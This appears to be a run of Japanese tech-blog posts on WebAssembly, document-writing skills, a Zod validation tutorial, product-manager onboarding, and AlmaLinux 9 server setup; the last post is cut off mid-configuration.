はじめに 新卒1年目のTKDSです! 今回は昨年社内LTで発表した内容をもとにWASMについての情報をまとめた記事を書きました。 WASMについていくつかの項目に分けて記述します。 はじめに WebAssembly(WASM)とは WASMの仕組み : 実行環境 WASMの仕組み : なぜJSより速い? ブラウザで試す WASMの事例 Google Meetの背景ぼかし Amazon Prime Video LibreOffice WebVM Postgres-wasm CRDT(yjs,Ywasm) WasmEdge+Neural Network SPIN まとめ WebAssembly(WASM)とは まず、WASMについてまとめました。 WASMの特徴は次の通りです。 ブラウザで動くバイナリコードのフォーマット(ただし、ブラウザ以外でも動く) C/C++ やRustなどの言語を コンパイル するとブラウザ上で実行可能 JavaScript と並行して動作するように設計されているため、 JavaScript と連携可能 JavaScript より動作が速い(場合が多い) WASMの仕組み : 実行環境 WASMの実行環境は、ブラウザとブラウザ外に分けられます。 どちらも コンパイル して生成したWASMのバイナリをWASM runtimeで実行します。 ブラウザではブラウザの JavaScript エンジンが実行し、ブラウザ外では、ブラウザ外でも実行できるように作られたWASM Runtimeを使用します。 WASMの実行環境 WASMの仕組み : なぜJSより速い? 解説ブログ があったので簡単に図を引用しながら説明します。この解説ブログはブラウザでの使用について解説しています。通常、 JavaScript を実行する際、下図(ブログより引用)に示すように ソースコード の解析 コンパイル +最適化 再最適化 実行 ガーベージコレクション の5つのステップを必要とします。 一方で、WebAssemblyの場合、解析・ コンパイル ・実行の3ステップで済みます。そのため、 JavaScript よりも高速であると説明していました。 ブラウザで試す 次にブラウザでWASMを簡単に試す方法を紹介します。 MDNのサイト に載っている方法です。 wasmファイルに以下の内容を記述して、 JavaScript からロードすることでWASMを使用できます。 以下の形式はWAT形式と呼ばれ、WASMを人が読めるようにしたものです。 (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) サイトに載っている通りに実行すると開発者ツールのコンソールに42が出力されているのが確認できるのでぜひやってみてください。 WASMの事例 次にWASMを使用した事例やライブラリについて情報収集したのでご紹介します。 Google Meetの背景ぼかし Google Meetの背景ぼかしにはWASMが使われているそうです。解説ブログのリンクは こちら です。 WebAssembly を介してブラウザ内で実行MLモデルはCPUで動かしてるようです。 下図は解説ブログから引用したものです。 入力された画像から対象となる人以外と背景を分割するマスクを生成し、それをもとに背景をぼやけされるようです。 MLモデルの実 行基 盤になっている MediaPipe は Google Meetの他にもWasmEdgeのAI inferenceでNNモデルの推論実行環境として挙げられていたり、メルカリのブログでプロダクト開発に使用されている 事例 がありました。 WASMで 機械学習 モデルを使用する際の1つの選択肢になりそうです。 Amazon Prime Video 解説ブログの リンク です。 アプリケーションの一部をWASMに置換したことで、パフォーマンス、安定性、CPU消費量が大幅に向上し、メモリ使用量が削減されたそうです。 LibreOffice オープンソース ソフトのオフィスソフトです。 Linux デスクトップを使ったことがある人は一度は使ったことがあるのではないでしょうか? LibreOffice をWebAssemblyに移植しようと試みられているようです。 wasm版の LibreOffice のデモの リンク です。読み込んでから起動までにしばらくかかります。 起動すると以下のような画面になります。 基本的な操作はできるようですが、動きがもっさりしている、日本語を使用できないなど使いづらさがあります。 しかし、Officeソフトがとくにインストールを必要とせず動くのは素晴らしいと感じました。 build手順 ドキュメント github WebVM ブラウザで実行できる仮想の Linux 環境です。 紹介記事の リンク です。 簡単に内容を要約します。 VM の実行エンジンにはCheerpXというものを使っています。 特徴として以下の点があります。 IndexedDBにファイルの変更などを保存して永続化→変更を自分のブラウザに保持 ファイルシステム に Ext2 を使用 Linux syscallをエミュレート可能 UIはXterm.js 色々なパッケージがインストール済みであり、使用可能 デモページの リンク があり、実行するとWasmファイルをダウンロードしてきて、ブラウザで実行されます。 起動すると以下の画面が表示されます。 コマンドなどの実行も可能です。 Postgres-wasm postgresql のWASM実装です。 デモページの リンク です。 起動すると以下の画面が表示され、 SQL が実行可能です。 テーブルの作成、データの追加・削除・検索などができます。 少し SQL の動作を確認したい時などは便利そうです。 CRDT(yjs,Ywasm) 共同編集機能のためのライブラリである yjs のRust実装のy-crdtのWASM bindingです。 リンクは こちら です。 ブラウザで内容を同期させるなど重そうな処理はまさにWASMの使い所なのではないでしょうか。 WasmEdge+Neural Network Wasm RuntimeのひとつであるWasmEdgeについてです。 WASI-NNを使用することにより、外部ライブラリを用いて、 ニューラルネットワーク による推論をWASMで実行可能なようです。 ドキュメントと ソースコード を少し読んだ感じでは、推論自体は外部のライブラリに任せているようでした。そのため、推論のパフォーマンスは外部ライブラリに依存しそうです。 ドキュメント では、llama2などの実行(ggml)や、その他の外部ライブラリ(Pytorch,OpenVINO,Tensorflow Lite)の使用方法も掲載されていました。 サンプルプロジェクト がたくさんあったので、ぜひお試しください。 ドキュメントのサンプルだと、Pytorchバックエンドの場合、依存するlibtorchがcpu版だったのが疑問点です。 ggmlの項だと自動でCUDAを探すと記述があるので、 Please note, the installer from WasmEdge 0.13.5 will detect CUDA automatically. If CUDA is detected, the installer will always attempt to install a CUDA-enabled version of the plug -in. PytorchでもCUDAによって GPU が使用可能になる方法があるのでしょうか? せっかくなので、 GPU で動かせるとNNの性能を引き出せるのでいずれやり方を調べてみたいです。 SPIN WebAssemblyを使用してマイクロサービスを構築する フレームワーク です。 リンクは こちら です。 Wasm runtimeにはWasmtimeを使用しているようです。 ドキュメントに チュートリアル がいくつかあるため、取り組んでみると使い方がわかると思います。 まとめ 今回は、WASMについての情報をまとめました。 個人的な感想としては、ブラウザ外での利用であるWasmEdge,spinに興味を持ちました。いずれ触ってみてまた記事にしたいです。 読んでいただいた方もぜひWASMを試してみてください。 ここまで読んでいただきありがとうございました。
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーの @wekkyyyy です。 前回は「楽楽精算のPRD(製品要求仕様書) Agenda」というテーマで記事をかかせていただきました。 tech-blog.rakus.co.jp 今回は趣向を変えて、「資料を作るときに考えていること」 いわゆる ドキュメンテーション スキルについて書いていこうと思います。 目次は以下となります。 対象読者 筆者がどんな人物か なぜこれを書いたのか 注意点 資料を作るときに考えていること 【まずやる】仕事と作業を分けて優先度をつける 【いざ開始】1つのアウトプットを3ステップで分けて作業する 【15点版】1に達成状態・2に達成状態・3、4がなくて5に達成状態 【15点版】Agendaとざっくり内容でストーリーをつくる 【30点版】納得感をどうやって実現させるか考える 続きは後編へ... 対象読者 ドキュメントを作成し、人に説明義務が発生する方 特に以下のドキュメントを作成する方 課題解決において 誰かを説得するための資料 何かを合意するための資料 筆者がどんな人物か 以下の通り PjMをやり始めてから ドキュメンテーション の重要性を知ることになり、 ゴリゴリに鍛えてもらいました。 (当時の同僚・先輩・上司に感謝です) インフラエンジニア(ネットワーク) 6年 このころはゴリゴリのエンジニア PjM/Director 4年 ここから業務の仕組み化に着手しだす 元コンサルの同僚/上司に ドキュメンテーション についてしごかれまくる 毎週役員の時間を15分だけもらい、その時間で説明・質疑応答・合意できなければいけなくなる PdM 4年 ドキュメンテーション 能力がないとまったく成り立たない役割になる (会社によって異なりますが筆者はその環境でした) なぜこれを書いたのか 弊社のshibaが書いた記事 楽楽精算PdMのオンボーディングと実践したこと にて以下の記載がありました。 「お、これは俺のことだな。んならいっちょ私の知識をちょっと共有したろ。」 という完全に上から目線ムーブを かます ためです。 嘘です。本当に勉強になって成長に寄与できるなら共有しようと思っただけです。 (もう何も言っても無駄な気がしてきました) ブログにしたのは、「楽楽精算のPdMは、こんなこと考えて仕事してます!こんな人がいます!」 ということを未来の同僚に対してもお伝えしたかったからです。 (これはプラスにもマイナスにもなり得るのでビクビクしてます) 注意点 本内容は、万物のドキュメントにあてはまるものではないと考えています。 「今自分が取り掛かっているものにハマるか?」は、ご自身でご確認をお願いいたします m( )m 資料を作るときに考えていること 【まずやる】仕事と作業を分けて優先度をつける 基本的は、「仕事」になるものを優先度をあげて行っています。 時間がかかるものですし、作業は仕事の合間にこなすことができると考えるためです。 ※仕事・作業の中でも優先順位は、プロダクト インパク トだったり、上司からの緊急だったりと様々あると思うので、ご自身で操作してください。 - 仕事:その結果によって誰かに価値を届けるための活動 →めっちゃ頭使う。 - 作業:事前に定められた手続きとゴールに向けて行う活動 →ある程度は、脳死でできる。 【いざ開始】1つのアウトプットを3ステップで分けて作業する 以下の4ステップに分けて考えています。 それぞれの段階でレビューにかけます。 1. 15点版(全体の流れこんな感じ状態) 2. 30点版(一旦作りました状態) 3. 60点版(見直して熟成します状態) 4. 90点版(これで提出します状態) ※100点は、最終合意状態を指すので割愛します。 【15点版】1に達成状態・2に達成状態・3、4がなくて5に達成状態 ここから各点数版での細かい話に移ります。 とにもかくにもまずは、達成状態を決めます。 誰が・どのような状態になっていれば、この仕事は完遂されるのか? 自分の言葉でまとめられない限り、後続は進めなくていいと考えているくらいです。 【15点版】Agendaとざっくり内容でストーリーをつくる 決めた達成状態に対して、以下を検討し全体のストーリーを作成します。 「どんなことを説明・証明する必要があるか?」 「どんな流れで説明するとわかりやすいか?」 ここで完璧なもの作ろうとはしてないです。 なるべく完璧にできるといいですが、ドキュメントを作りながら変えることも多いです。 「ん〜こんなことは説明しないと伝わらないよな〜。」くらいの気持ちで大丈夫と言い聞かせてます。 筆者がよく使うストーリーとしては、以下です。 この流れで上記のことを考えて、書くことを箇条書きにしておきます。 ものによって細かく分けたりしますが、考え方として参考にしてください。 1. 現状把握 a. 現状を解像度高くわかるようにする 2. 創案 a. いわゆる解決案を出す 3. 評価 a. 解決案を評価する 4. 選択 a. 解決案を絞る 【30点版】納得感をどうやって実現させるか考える 上記の 現状把握 ・ 創案 ・ 評価 ・ 選択 に当てはめて記載します。 それぞれのフェーズでの要素を記載していきます。 こちらも筆者のよく考える思考を書いているだけなので、 対応する課題内容、すでに把握している情報、社内状況によって変動しますので一例とさせてください。 現状把握 定性・ 定量 セット で状況を把握する (Factが重要!!) 定量 データ システムログ DB アンケート結果など 定性データ インタビュー結果 VoCなど 定性的なデータを 可視化 した上で、 定量 情報を付与する ユーザーストーリー マッピング ・カスタマージャーニーマップを利用することが多い 誰の目線なのか?を意識する( MECE 意識※) 「なぜ?」「それでどうなる?」を繰り返すことでマップがつながる( MECE 意識※) 数値の変化もあるか意識する(傾向が見えるか) 1.2.の結果から課題点を可視化・ 言語化 する ※ MECE にするためのテクニックは、以下創案部分をご参照ください。 (あくまでテクニックの一部なので、他にも調べてみるとよいと思います。) 創案 現状把握で可視化・ 言語化 した課題に対して取れ得る策を洗い出す What/Howをロジックツリーで洗い出す WhatとHowのロジックツリーを分ける( MECE 意識) まず当たり前の答えを考える 当たり前の対極を考える それとそれ以外を考える ペアになるものを考える 因数分解 した結果を考える 分裂したものが、「AND」なのか「OR」なのか明確にする 評価 漏れのない評価項目をまず作る( MECE 意識) 評価項目にウェイトをつけるルール(条件)を考える(条件設定法とも言う) 必要ない評価項目は後で消すかもしれないので、どれが重要なのか明示できるようにする 評価項目内の優劣の基準を明確にする めざす方向性に対しての基準を取るようにする 筆者がよく使うのは5 or 10段階のポイント制 どの状態がどのポイントなのかを明確にする(絶対重なり合うような状態にしない) 選択 複数案出すようにする この時点では、同じ点数になることも多いと思います。 (その場合評価項目が足りていないのだと思います) ですが、そのまま関係者含め選択し、後学として選択した際の判断基準を確認するようにしましょう。 仮に同じ点数じゃないとしても、XXを重要視するならこれ等 迷う部分はあると思います。 (これも評価項目が足りてないと思われる) ですが、まだ30点版なので、思い切って出しましょう。後で削ればいいと思ってます。 続きは後編へ... 書き出したら長くなってしまいました。。。 続きは次回の後編に記載します。
はじめに こんにちは。フロントエンド開発課に所属している新卒1年目のm_you_sanと申します。 実務でZodを使う機会が多いので、基本から理解しようと思い、 チュートリアル に取り組んでみました。 今回はZodの基本について、 チュートリアル のコードを交えて解説したいと思います。 はじめに Zodとは Zodのチュートリアルについて プリミティブ型の検証(チュートリアル01) オブジェクトの検証(チュートリアル02) 配列の検証(チュートリアル03) スキーマから型を生成(チュートリアル04) オプショナル(チュートリアル05) デフォルト値を設定する(チュートリアル06) ユニオン型の検証(チュートリアル07) 特定の条件を満たしているか検証する(チュートリアル08) スキーマの拡張(チュートリアル09) バリデーション前後で値を変換する(チュートリアル10) 独自のバリデーションチェックを行う(チュートリアル11、12) 再帰的なスキーマを宣言する(チュートリアル13) ジェネリクス(チュートリアル14) まとめ Zodとは Zodとは、端的に言うとtypescriptファーストの スキーマ 宣言及びバリデーションライブラリです。 Zodはtypescriptの型システムを活用して、フォームの入力値などアプリケーションで扱うデータが、宣言した スキーマ に沿っているかを検証することができます。 また、後で解説しますが、Zodでは スキーマ から型を生成できるという便利な機能があります。 一応、同じバリエーションライブラリの Yup でも、 スキーマ から型生成は行えますが 型推論 が弱いとされています。 一方で、YupはZodと比べて API が豊富という長所があるので、お好みで使い分けると良いと思います。 Zodの チュートリアル について ここから、 チュートリアル のコードを一部抜粋しながら、Zod基本について解説します。 なお、この チュートリアル は問題のコードが与えられて、テストが通るように修正するという形式になっています(全部で14問あります)。 気になる方は、 こちら をcloneして取り組んでみてください。 プリミティブ型の検証( チュートリアル 01) 最も基本的な使い方です。 const numberParser = z. number (); export const toString = ( num: unknown ) => { const parsed = numberParser.parse ( num ); return String ( parsed ); } ; 始めにnumber型が期待される スキーマ を宣言しています。 toString関数では、引数で渡ってきたunknown型のnumをparseの引数に設定しています。 このparseは、引数に渡された値がnumberParserが期待する型、つまりnumber型であった場合は、その値を返し、そうでなかった場合はエラーを返します。 そのため、1つ目のテストではstring型の"123"がtoStringに渡されるので、エラーが返されます。 オブジェクトの検証( チュートリアル 02) オブジェクトの スキーマ を宣言する際は、z.objectを使用し、プロパティにもそれぞれ スキーマ を作成します。 チュートリアル のコードでは、 API のレスポンスが { name: string } になっているかを検証しています。 const PersonResult = z. object ( { name: z. string () } ); export const fetchStarWarsPersonName = async ( id: string ) => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); const parsedData = PersonResult.parse ( data ); return parsedData.name ; } ; 配列の検証( チュートリアル 03) 配列の スキーマ を作成するときは、z.arrayを使用します。 チュートリアル のコードでは、 API のレスポンスが { results: { name: string }[] } の形になっているかを検証しています。 const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ) } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; スキーマ から型を生成( チュートリアル 04) Zodでは、z.inferの型引数に スキーマ を渡すことで、その スキーマ から型を推論して、型を生成することができます。 チュートリアル のコードでは、StarWarsPeopleResultsから型を生成しているため、dataTypeの型は { results: { name: string }[] } になります。 const StarWarsPerson = z. object ( { name: z. string (), } ); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); type dataType = z.infer <typeof StarWarsPeopleResults > この型生成は、実務でもよく使っており、フォームの入力値を検証する スキーマ から型生成し、その型を API リク エス トを送る関数の引数の型にするといったような使い方をしています。 //フォームの入力値を検証するスキーマ const PersonSchema = z. object ( { name: z. string (), hometown: z. string (), } ); type PersonSchemType = z.infer <typeof PersonSchema >; const handleSubmit = ( formData: PersonSchemType ) => { //APIリクエストなどの処理 } オプショナル( チュートリアル 05) オプショナルで スキーマ を定義する際は、optionalを使用します。 チュートリアル のコードでは、 { name: string, phoneNumber?: string } を期待する スキーマ を定義しています。 phoneNumberがオプショナルになったことで、validateFormInputにnameのみを渡したとしても、エラーが発生しなくなります。 const Form = z. object ( { name: z. string (), phoneNumber: z. string () .optional (), } ); export const validateFormInput = ( values: unknown ) => { const parsedData = Form.parse ( values ); return parsedData ; } ; デフォルト値を設定する( チュートリアル 06) スキーマ にデフォルト値を設定する場合は、defaultを使用します。 チュートリアル では、keywordsのデフォルト値に空配列を設定しています。 const Form = z. object ( { repoName: z. string (), keywords: z.array ( z. string ()) . default( [] ), } ); ユニオン型の検証( チュートリアル 07) ユニオン型の スキーマ を作成する際は、z. enum もしくはz.unionを使用します。 チュートリアル のコードでは、 privacyLevel: "private" | "public" を期待するユニオン型の スキーマ を定義しています。 テストを実行すると、privacyLevelにprivateとpublic以外の値を渡すとエラーを返すことが分かります。 このユニオン型の スキーマ 定義ですが、実務ではプルダウンメニューの項目を検証する際によく見かけます。 const Form = z. object ( { repoName: z. string (), privacyLevel: z. enum( [ "private" , "public" ] ) //↓の書き方でも可 //privacyLevel: z.union([z.literal("private"), z.literal("public")]) } ); 特定の条件を満たしているか検証する( チュートリアル 08) 最小値、最大値など特定の条件を満たしているかを検証する方法です。 この スキーマ は、nameに最低1文字、phoneNumberに5文字以上20文字以下、emailに「x@x.x」の形式、 website に「fuga:// hoge 」の形式を期待するものです。 テストを確認すると、条件を満たしていないとエラーを返すことが分かります。 const Form = z. object ( { name: z. string () .min ( 1 ), phoneNumber: z. string () .min ( 5 ) .max ( 20 ) .optional (), email: z. string () .email (), website: z. string () .url () .optional (), } ); スキーマ の拡張( チュートリアル 09) 一度定義した スキーマ は、extendやmergeを使用して拡張させることができます。 const ObjectWithId = z. object ( { id: z. string () .uuid (), } ); const User = ObjectWithId.extend ( { name: z. string (), } ); const Post = ObjectWithId.merge ( z. object ( { title: z. string (), body: z. string (), } ), ); バリデーション前後で値を変換する( チュートリアル 10) Zodでは、バリデーション前後で値を変換することができます。 チュートリアル のコードでは、transformを使ってバリデーション後に値を変換しています。 具体的には、parseに渡しているdataがStarWarsPeopleResultsで期待している型( { result: { name: string }[] } )だった場合、 { results: [ { name: "foo hoge", nameAsArray: ["foo", "hoge"] } ] } のような形 で返却するという流れになっています。 const StarWarsPerson = z. object ( { name: z. string (), } ) .transform (( person ) => ( { ...person , nameAsArray: person.name.split ( " " ) } )); const StarWarsPeopleResults = z. object ( { results: z.array ( StarWarsPerson ), } ); export const fetchStarWarsPeople = async () => { const data = await fetch ( "https://www.totaltypescript.com/swapi/people.json" , ) .then (( res ) => res.json ()); const parsedData = StarWarsPeopleResults.parse ( data ); return parsedData.results ; } ; 独自のバリデーションチェックを行う( チュートリアル 11、12) Zodでは、refineを使うことで独自のバリデーションチェックを作成することができます。 refineはparseを実行した際に、条件式がfalseの場合、エラーを返します。 チュートリアル 11のコードでは、passwordとconfirmPasswordが不一致の場合、エラーメッセージを返すという形になっています。 refineは相関チェックを行う際によく使われている印象です。 const Form = z. object ( { password: z. string (), confirmPassword: z. string (), } ) .refine (( { password , confirmPassword } ) => password === confirmPassword , { message: "Passwords don't match" } ); またrefineは、 チュートリアル 12のように、非同期関数を渡すことができます。 doesStarWarsPersonExistは、parseAsyncに渡されたidで API を叩き、dataがあった場合はtrueを返し、なかった場合はfalseを返します。 doesStarWarsPersonExistがfalseの場合、refineはエラーメッセージのNot Foundを返します。 const doesStarWarsPersonExist = async ( id: string ) => { try { const data = await fetch ( "https://www.totaltypescript.com/swapi/people/" + id + ".json" , ) .then (( res ) => res.json ()); return Boolean ( data?.name ); } catch ( e ) { return false ; } } ; const Form = z. object ( { id: z. string () .refine ( doesStarWarsPersonExist , { message: "Not found" } ), } ); export const validateFormInput = async ( values: unknown ) => { const parsedData = await Form.parseAsync ( values ); return parsedData ; } ; 再帰 的な スキーマ を宣言する( チュートリアル 13) 再帰 的な スキーマ を宣言する場合、lazyを使用します。 lazyのみだとMenuItemがany型になるため、少し手間がかかりますが、手動でMenuItemTypeを定義して、その型情報をMenuItemに渡す必要があります。 interface MenuItemType { link: string ; label: string ; children?: MenuItemType [] ; } const MenuItem: z.ZodType < MenuItemType > = z.lazy (() => z. object ( { link: z. string (), label: z. string (), children: z.array ( MenuItem ) . default( [] ), } ) ) ジェネリクス ( チュートリアル 14) スキーマ を ジェネリクス で渡したい場合は、 ジェネリクス の型に extends ZodSchema ( extends ZodTypeAny でも可)で制約を加えます。 チュートリアル のコードでは、 ジェネリクス で渡した スキーマ から、z.inferで型を生成して、戻り値の型にしています。 const genericFetch = < TSchema extends z.ZodSchema >( url: string , schema: TSchema ) : Promise < z.infer < TSchema >> => { return fetch ( url ) .then (( res ) => res.json ()) .then (( result ) => schema.parse ( result )); } ; まとめ チュートリアル のコードを交えて、Zodの基本について紹介させていただきました。 再帰 的な スキーマ 宣言や ジェネリクス など、やや応用的な部分もありましたが、私自身も チュートリアル を通じて、基本的な部分はさらうことができたと思っています。 今回は紹介しませんでしたが、ZodはReact Hook Formと組み合わせることができるので、気になる方はこちらの記事も是非読んでみてください。 tech-blog.rakus.co.jp
本記事のターゲット 転職活動中のPdMの方 PdMへのキャリ アチェ ンジを検討している方 ラク スへの入社を検討している方 はじめに こんにちは、楽楽精算プロダクトマネージャー(以下PdM)のShibaと申します。 2023年5月に ラク スに入社して、半年以上が経過しました。 PdMという職種は会社毎で役割や責任範囲が異なります。 そのため、転職後の業務は多くの人が気になるポイントかと思います。 ラク スに入社して私がやってきたことと気付きを共有することで、 ラク スへの転職を考えている方の参考になればと思い本記事を書くことにしました。 注意 入社者の志向やスキル/経験に基づいて適切な役割を アサイ ンする仕組みが ラク スにはあると思います。 全員が同じ流れで同じ業務をすることはないという点はご了承ください。 また、時間軸は若干曖昧なところがあります。 本記事のターゲット はじめに 注意 私のバックグランドと転職理由 入社後に感じた自身のスキルとのギャップ 入社後の業務 入社1カ月目 入社2~3か月目 入社4か月目~現在 さいごに 私のバックグランドと転職理由 前職は新卒で入社した会社でBtoB SaaS のワークフロープロダクトに約7年間携わっていました。 エンジニアからキャリアをスタートして、プロジェクトマネージャ/プロダクトマネージャ/カスタマーサポート/プリセールスなど プロダクトの成長に必要なことは何でも経験させてもらいました。非常に成長できたと実感があります。 そんな中、30歳を目前に「もっと プロダクトマネジメント に特化したスキルを伸ばしたい」という思いからPdMへの転職を決意しました。 またなんとなく「若いうちに転職を経験しておきたい」という浅い理由もあったかもしれません。 楽楽精算はARR100億以上、累計導入社数も15,000社を超えています。 国内トップシェアのプロダクトに関わることが出来るというのは私にとって非常に魅力的なポイントでした。 ( ラク スを選んだ理由はあまり深掘りしません) 入社後に感じた自身のスキルとのギャップ 1. 言語化 する力 前職では課題の特定~設計/開発/テスト/リリースまですべてを担当していました。 自分の頭の中ではなぜそれをすべきか、なにをすべきかの情報があり、それをもとにプロダクト開発を行っていました。 しかし ラク スは規模(顧客数、ステークホルダ数、開発 工数 など)が大きいため、役割分担によってプロダクト開発が成り立っています。 我々PdMの役割は課題の「Why」「What」を明確にして、適切な課題に適切なアプローチをすることが出来るようにすることだと考えています。 この「Why」「What」を誰が見ても理解できるような形でアウトプットし、納得してもらうための能力はまだまだ伸ばしていく必要があると感じています。 2.思考の道筋の整理 シニアPdMと一緒に仕事をすると痛感する部分です。 私は物事を整理する時、あらゆる情報を集め、そこから必要な情報の取捨選択、ストーリーの構築を行っていくスタイルだと自認しています。 対照的に、結論に向けてストーリーを構築し、必要最低限の情報を集めるパターンの人がいます。 (このタイプの人も頭の中で情報を整理し取捨選択していると思いますが、頭の中はわからない) この違いで生じる差は、大きくはスピード感です。 情報が MECE に整理され、論理的にもおかしくないストーリーをスピード感をもって組み立てる能力は変化の早い時代において伸ばしていく必要があると考えています。 入社後の業務 入社1カ月目 はじめの1カ月は以下のような業務に必要な情報のインプットを行いました。 事業・組織の方針 プロダクトロードマップやKPIなどプロダクト方針 プロダクト(プロダクトの価値、仕様) 法/制度(主に インボイス 制度、 電子帳簿保存法 ) 経理 ドメイン 知識 組織内の役割分担 各種業務プロセス システム構成や環境情報 競合/市場の情報 私の所属する「製品管理課」ではオンボーディング資料が整理されており、特に重要な情報に関してはそこから参照することが出来るようになっています。 資料からわからないところは、インターネットや書籍、上司との1on1を通して理解度を深めていきました。 特に ドメイン 知識というのはこの資料を読めば理解できるというようなものはなく、実際の業務/作業レベルまで理解する必要があります。 プロダクトを触り業務を体験することである程度は理解することが出来ますが、 機能から逆算した業務フローでは、実務レベルまで解像度を高めるは難しいため、 この段階では「業務のイメージが出来る」「用語が理解できる」など定性的な目標を定めて学習するようにしました。 情報が多すぎるがゆえに、認知負荷がかかり何をどこまで理解するかという点は非常に悩みましたが、 自分のキャパと自分の理想の折り合いをつけることが大事です。 また、参加可能な会議には出席するようにしました。 ステークホルダ/キーマンの把握、どのような意思決定が行われているかは早めにキャッチアップし、 なるべくスムーズに実務を開始できるよう準備しました。 入社2~3か月目 2カ月目からは実際の顧客課題に対して、プロダクト バックログ アイテム(以下PBI)の策定を開始しました。 PBIは事業部との課題/解決策の擦り合わせ・開発チームでの概算 工数 の見積もり・PRD(製品要求仕様)のインプットにも利用される重要な情報です。 楽楽精算のPBIには以下のような情報が含まれます。 財務効果 誰のどんな業務のどんな課題 どうすればその課題を解決できるのか AsIs/ToBeの業務フロー 楽楽精算ではカスタマーサクセス(CS)が収集した顧客の声(VoC)が1か所に集約されており、開発サイドも常に確認ができるようになっています。 PBI作成で注意すべきは、VoCの中には課題だけではなく「〇〇できるようにしてほしい」といった要望も多く存在するという点です。 その要望通りの機能を実現するのではなく、背景にある課題に目を向け最小限のコストでその課題の解決策を考えること必要です。 (言ってしまえば、既存機能の運用回避などが提案できればそれでもよい) 課題/要望や社数、発生頻度が精度の高い状態で集まっていることで、 リリース後の効果の不確実性やユーザ調査の工程を省略しスピード感をもってリリースすることができますので、 この仕組みは非常に強力な仕組みだと思っています。 参考( ラク スエンジニアブログ) 楽楽精算の成長を支えるPBI優先度設定の狙いとポイント PRD一部Contents解禁!楽楽精算のPRD(製品要求仕様書) Agenda 入社4か月目~現在 4カ月目以降からは実案件(リリースが確定している案件)に アサイ ンされ、PRDの策定やエンジニアが作成した機能要求やUX設計のレビューを行っています。 また、現在は製品戦略上重要なプロジェクトの案件の実現に向けて、 課題の深堀・ユーザ調査の設計(インタビュー、アンケート、仮説検証)・ソリューションの検討などをPMMと連携して行っていたり、 モバイルアプリの案件に着手したりと担当させてもらえる業務範囲が広がってきました。 顧客への価値提供はもちろん、社内での期待に応えられるように自分のできることを増やしていこうと思った8カ月間でした。 さいごに 前記したような売上や契約社数が多いプロダクトとなると、完成したプロダクトと思う方もいらっしゃるかもしれません。私はそうでした。 しかし、法改正や IT技術 の発達、競合プロダクトの出現、顧客業務の変化などプロダクトを取り巻く環境は日々変化しています。 それらに対応していくために、楽楽精算ではPdM人材を引き続き募集しております。 是非まずはカジュアル面談からお申込みいただけると幸いです。 ラクス エンジニア採用サイト プロダクトマネージャ
はじめに CentOS8系がEOL(End Of Life)を迎えた関係で、個人的にAlmalinux系を触る機会が増えていきました。 CentOS8系の代わりと考えるとAlmalinuxも同様にバージョン8系を使うというのが素直なところでしょうか。 しかしながら、EOLもありますし、Almalinuxバージョン9系がリリースされてもいますので、Almalinux9系のサーバを構築してみました。 構築してみて、気づいた点(主に8系との違い)をいくつかご紹介します。 ※調査不足なこともあるかと思います。暖かく見守ってくだされば助かります。 はじめに インストールGUI selinuxの無効化の方法が減った・・・ 仮想環境上(LVM)でスナップショットを使ったリストアをすると起動しない?! ethernetの命名が変わっただけじゃないの?? 意図したファイルのログローテーションがエラ―するよ。。。 最後に インストール GUI CentOS7やCentOS8/Almalinux8系と比べてもあまり差は感じませんでした。 タイムゾーン 設定画面で地域をピンポイントで選択できるようになっていたぐらいかなと思います。 日本列島のいろんなところを選択はできるものの東京の タイムゾーン になります。 selinux の無効化の方法が減った・・・ 最近だと selinux は有効化した状態でfirewalldも活用して、適切にセキュリティ環境を整えましょう という風潮とは思いますが、とりあえず動く環境を構築するのに selinux は邪魔!!なので↓ # vi /etc/selinux/config SELINUX=enforcing を disabledにしてreboot!! あれ?無効化されない?! どうやらAlmalinux9系では、 selinux の無効化方法が減ったようです。 /etc/ selinux /configの SELINUX をdisabledに設定することはできるが有効な手段ではないそうで、 カーネル パラメータを変更する方法しかなさそうでした。 改めて↓ # vi /etc/default/grub (抜粋) GRUB_CMDLINE_LINUX="crashkernel=1G-4G:192M,4G-64G:256M,64G-:512M resume=/dev/mapper/almalinux-swap rd.lvm.lv=almalinux /root rd.lvm.lv=almalinux/swap biosdevname=0 net.ifnames=0 selinux=0" # grub2-mkconfig -o /boot/grub2/grub.cfg # reboot 仮想環境上(LVM)でスナップショットを使ったリストアをすると起動しない?! 仮想環境で構築したAlmalinux9系のサーバの各種設定を色々イジって遊んでみよう!! 設定変更前の状態のスナップショットを取得しておいたら、元に戻せるし便利~♪ と思っていて、いざスナップショットを利用してリストアしてみたものの起動しない!!! 原因はLVM LVMがDEVNAMEなどのPVを検索するために /etc/lvm/devices/system.devices が使用されるるため、 クローンした VM /スナップショットでリストアした VM が正常に起動せずエマージェンシーモードで起動してしまいます。 Almalinux8系ではデフォルトで「無効」状態となっていたため今までは特に考慮することなくスナップショットを利用したリストアができていたようです。 是正方法は以下の通り。 # vi /etc/lvm/lvm.conf └ use_devicesfile = 0 をコメントイン # rm -f /etc/lvm/devices/system.devices (当初は原因がわからず、何回もOSインストールを行っていたのは内緒です) ethernet の 命名 が変わっただけじゃないの?? みなさんは、ネットワークの名前( ethernet )にはenp**とかens**とかをお使いでしょうか。 私はいまだにeth0とかeth1とか使ってます。 ということで、Almalinux9系のサーバでもいつもと同じように ethernet の名前を変えてしまいます。 /etc/default/ grub の GRUB _CMDLINE_ LINUX 項目で biosdevname=0 net.ifnames=0 を付与 ( selinux のところで登場してるので、他のコマンドはここでは割愛) # vi /etc/sysconfig/network-scripts/ <Tab>キー、、、<Tab>キー、、、あれ?? ifcfg-***とかが出てこない・・・ network-scriptsが削除 されたとのことでした。。。 代わりに /etc/NetworkManager/system-connections/eth0.nmconnection を編集するそうです。 # vi /etc/NetworkManager/system-connections/eth0.nmconnection [connection] id=eth0 uuid=<UUIDの長い文字列> type=ethernet autoconnect-priority=-999 interface-name=eth0 timestamp= [ethernet] [ipv4] address1=999.999.999.999/24,<必要ならデフォルトゲートウェイ> method=manual [ipv6] addr-gen-mode=eui64 